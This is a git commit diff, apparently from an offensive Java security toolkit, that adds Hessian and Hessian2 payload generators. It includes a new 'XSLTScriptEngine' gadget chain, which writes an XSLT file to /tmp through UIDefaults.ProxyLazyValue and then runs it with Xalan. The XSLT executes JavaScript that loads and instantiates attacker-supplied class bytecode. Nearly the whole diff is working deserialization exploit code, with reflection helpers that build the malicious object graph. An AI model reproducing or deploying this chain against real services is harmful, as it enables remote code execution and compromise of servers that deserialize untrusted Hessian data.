feat: support hessian packer (#36)

This commit is contained in:
ReaJason
2025-02-20 22:28:34 +08:00
parent 4a7301c7f0
commit f3ced55d8a
22 changed files with 349 additions and 49 deletions
+5 -26
View File
@@ -8,40 +8,19 @@ version = rootProject.version
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.lang=ALL-UNNAMED',
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(11)
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
@@ -11,5 +11,18 @@ public interface Payload {
* @param bytes 恶意类字节流
* @return 序列化对象
*/
Object generate(byte[] bytes);
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
@@ -1,6 +1,10 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.*;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import lombok.Getter;
/**
@@ -17,6 +21,10 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
@@ -0,0 +1,51 @@
package com.reajason.javaweb.deserialize.payload.hessian;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.utils.HessianUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import javax.swing.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class XSLTScriptEngine implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes, String className) {
String base64Str = Base64.getEncoder().encodeToString(bytes);
String tmpPath = "/tmp/CACHE_XML";
String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
" <xsl:value-of select=\"$result\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>\n";
UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
Reflections.setFieldValue(writeValue, "acc", null);
UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
Reflections.setFieldValue(processValue, "acc", null);
HashMap<Object, Object> map1 = new HashMap<>(1);
HashMap<Object, Object> map2 = new HashMap<>(1);
HashMap<Object, Object> map3 = new HashMap<>(1);
HashMap<Object, Object> map4 = new HashMap<>(1);
map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
}
}
@@ -0,0 +1,32 @@
package com.reajason.javaweb.deserialize.utils;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.List;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianUtils {
public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
HashMap<?, ?> s = new HashMap<>(8);
Reflections.setFieldValue(s, "size", objs.size());
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, objs.size());
for (int i = 0; i < objs.size(); i++) {
Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
}
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
@@ -1,7 +1,11 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attributes;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
/**
@@ -19,7 +23,7 @@ public class Reflections {
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
} catch (Exception ignored) {
}
}
@@ -47,4 +51,18 @@ public class Reflections {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}